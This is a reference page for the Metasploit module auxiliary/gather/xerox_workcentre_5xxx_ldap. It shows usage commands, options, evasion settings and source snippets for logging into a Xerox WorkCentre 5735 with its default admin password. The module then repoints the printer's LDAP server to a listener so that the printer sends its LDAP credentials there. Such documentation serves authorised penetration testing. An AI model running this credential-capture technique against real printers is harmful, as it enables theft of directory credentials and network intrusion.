Xerox Workcentre 5735 LDAP Service Redential Extractor - Metasploit


This page contains detailed information about how to use the auxiliary/gather/xerox_workcentre_5xxx_ldap metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Xerox Workcentre 5735 LDAP Service Redential Extractor
Module: auxiliary/gather/xerox_workcentre_5xxx_ldap
Source code: modules/auxiliary/gather/xerox_workcentre_5xxx_ldap.rb
Disclosure date: -
Last modification time: 2021-01-28 10:35:25 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -

This module extract the printer's LDAP username and password from Xerox Workcentre 5735.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/gather/xerox_workcentre_5xxx_ldap
msf auxiliary(xerox_workcentre_5xxx_ldap) > show targets
    ... a list of targets ...
msf auxiliary(xerox_workcentre_5xxx_ldap) > set TARGET target-id
msf auxiliary(xerox_workcentre_5xxx_ldap) > show options
    ... show and set options ...
msf auxiliary(xerox_workcentre_5xxx_ldap) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

  • NewLDAPServer: The IP address of the LDAP server you want the printer to connect back to.

Go back to menu.

Msfconsole Usage


Here is how the gather/xerox_workcentre_5xxx_ldap auxiliary module looks in the msfconsole:

msf6 > use auxiliary/gather/xerox_workcentre_5xxx_ldap

msf6 auxiliary(gather/xerox_workcentre_5xxx_ldap) > show info

       Name: Xerox Workcentre 5735 LDAP Service Redential Extractor
     Module: auxiliary/gather/xerox_workcentre_5xxx_ldap
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Deral "Percentx" Heiland
  Pete "Bokojan" Arzamendi

Check supported:
  No

Basic options:
  Name           Current Setting  Required  Description
  ----           ---------------  --------  -----------
  NewLDAPServer                   yes       The IP address of the LDAP server you want the printer to connect back to.
  PASSWORD       1111             yes       Password to access administrative interface. Defaults to 1111
  Proxies                         no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT          80               yes       The target port on the remote printer. Defaults to 80 (TCP)
  SRVHOST        0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT        8080             yes       The local port to listen on.
  SSL            false            no        Negotiate SSL for incoming connections
  SSLCert                         no        Path to a custom SSL certificate (default is randomly generated)
  TCPDELAY       20               yes       Number of seconds the tcp server will wait before termination.
  TIMEOUT        20               yes       Timeout for printer connection probe.
  VHOST                           no        HTTP server virtual host

Description:
  This module extract the printer's LDAP username and password from 
  Xerox Workcentre 5735.

Module Options


This is a complete list of options available in the gather/xerox_workcentre_5xxx_ldap auxiliary module:

msf6 auxiliary(gather/xerox_workcentre_5xxx_ldap) > show options

Module options (auxiliary/gather/xerox_workcentre_5xxx_ldap):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   NewLDAPServer                   yes       The IP address of the LDAP server you want the printer to connect back to.
   PASSWORD       1111             yes       Password to access administrative interface. Defaults to 1111
   Proxies                         no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT          80               yes       The target port on the remote printer. Defaults to 80 (TCP)
   SRVHOST        0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT        8080             yes       The local port to listen on.
   SSL            false            no        Negotiate SSL for incoming connections
   SSLCert                         no        Path to a custom SSL certificate (default is randomly generated)
   TCPDELAY       20               yes       Number of seconds the tcp server will wait before termination.
   TIMEOUT        20               yes       Timeout for printer connection probe.
   VHOST                           no        HTTP server virtual host

Advanced Options


Here is a complete list of advanced options supported by the gather/xerox_workcentre_5xxx_ldap auxiliary module:

msf6 auxiliary(gather/xerox_workcentre_5xxx_ldap) > show advanced

Module advanced options (auxiliary/gather/xerox_workcentre_5xxx_ldap):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   ListenerComm                                                              no        The specific communication channel to use for this service
   SSLCipher                                                                 no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression        false                                               no        Enable SSL/TLS-level compression
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the gather/xerox_workcentre_5xxx_ldap module can do:

msf6 auxiliary(gather/xerox_workcentre_5xxx_ldap) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the gather/xerox_workcentre_5xxx_ldap auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(gather/xerox_workcentre_5xxx_ldap) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request
   TCP::max_send_size            0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay               0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.


Here is a relevant code snippet related to the "Unable to get authentication cookie from <RHOST>" error message:

38:	  def run
39:	    print_status("Attempting to extract LDAP username and password...")
40:	
41:	    @auth_cookie = default_page
42:	    if @auth_cookie.blank?
43:	      print_status("Unable to get authentication cookie from #{rhost}")
44:	      return
45:	    end
46:	
47:	    status = login
48:	    return unless status

Failed to start listiner or the printer did not send us the creds. :(


Here is a relevant code snippet related to the "Failed to start listiner or the printer did not send us the creds. :(" error message:

53:	    status = update_ldap_server
54:	    return unless status
55:	
56:	    start_listener
57:	    unless @data
58:	      print_error("Failed to start listiner or the printer did not send us the creds. :(")
59:	      status = restore_ldap_server
60:	      unless status
61:	        print_error("Failed to restore old LDAP server. Please manually restore")
62:	      end
63:	      return

Failed to restore old LDAP server. Please manually restore


Here is a relevant code snippet related to the "Failed to restore old LDAP server. Please manually restore" error message:

56:	    start_listener
57:	    unless @data
58:	      print_error("Failed to start listiner or the printer did not send us the creds. :(")
59:	      status = restore_ldap_server
60:	      unless status
61:	        print_error("Failed to restore old LDAP server. Please manually restore")
62:	      end
63:	      return
64:	    end
65:	
66:	    status = restore_ldap_server

Failed to connect to <RHOST>. Please check the printers IP address.


Here is a relevant code snippet related to the "Failed to connect to <RHOST>. Please check the printers IP address." error message:

84:	  def default_page
85:	    page = '/header.php?tab=status'
86:	    method = 'GET'
87:	    res = make_request(page, method, '')
88:	    if res.blank? || res.code != 200
89:	      print_error("Failed to connect to #{rhost}. Please check the printers IP address.")
90:	      return ''
91:	    end
92:	    res.get_cookies
93:	  end
94:	

Failed to login. Please check the password for the Administrator account


Here is a relevant code snippet related to the "Failed to login. Please check the password for the Administrator account" error message:

106:	    login_post_data *= '&'
107:	    method = 'POST'
108:	
109:	    res = make_request(login_page, method, login_post_data)
110:	    if res.blank? || res.code != 200
111:	      print_error("Failed to login. Please check the password for the Administrator account")
112:	      return nil
113:	    end
114:	    res.code
115:	  end
116:	

Failed to get LDAP data.


Here is a relevant code snippet related to the "Failed to get LDAP data." error message:

125:	    ldap_port_number = ldap_port_settings.scan(/valPrt_1\[2\] = (\d+)/).flatten
126:	    @ldap_server = "#{ldap_server_ip[0]}.#{ldap_server_ip[1]}.#{ldap_server_ip[2]}.#{ldap_server_ip[3]}"
127:	    @ldap_port = ldap_port_number[0]
128:	    print_status("LDAP server: #{@ldap_server}")
129:	    unless res.code == 200 || res.blank?
130:	      print_error("Failed to get LDAP data.")
131:	      return nil
132:	    end
133:	    res.code
134:	  end
135:	

Failed to update LDAP server. Please check the host: <RHOST>


Here is a relevant code snippet related to the "Failed to update LDAP server. Please check the host: <RHOST>" error message:

149:	    method = 'POST'
150:	
151:	    print_status("Updating LDAP server: #{datastore['NewLDAPServer']} and port: #{datastore['SRVPORT']}")
152:	    res = make_request(ldap_update_page, method, ldap_update_post)
153:	    if res.blank? || res.code != 200
154:	      print_error("Failed to update LDAP server. Please check the host: #{rhost}")
155:	      return nil
156:	    end
157:	    res.code
158:	  end
159:	

Failed to restore LDAP server: <LDAP_SERVER>. Please fix manually


Here is a relevant code snippet related to the "Failed to restore LDAP server: <LDAP_SERVER>. Please fix manually" error message:

243:	    method = 'POST'
244:	
245:	    print_status("Restoring LDAP server: #{@ldap_server}")
246:	    res = make_request(ldap_restore_page, method, ldap_restore_post)
247:	    if res.blank? || res.code != 200
248:	      print_error("Failed to restore LDAP server: #{@ldap_server}. Please fix manually")
249:	      return nil
250:	    end
251:	    res.code
252:	  end
253:	

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

262:	        'cookie'    => @auth_cookie,
263:	        'data'      => post_data
264:	      }, datastore['TIMEOUT'].to_i)
265:	
266:	    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
267:	      print_error("Connection failed")
268:	    end
269:	
270:	    res
271:	  end
272:	

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • Deral "Percentx" Heiland
  • Pete "Bokojan" Arzamendi

Version


This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.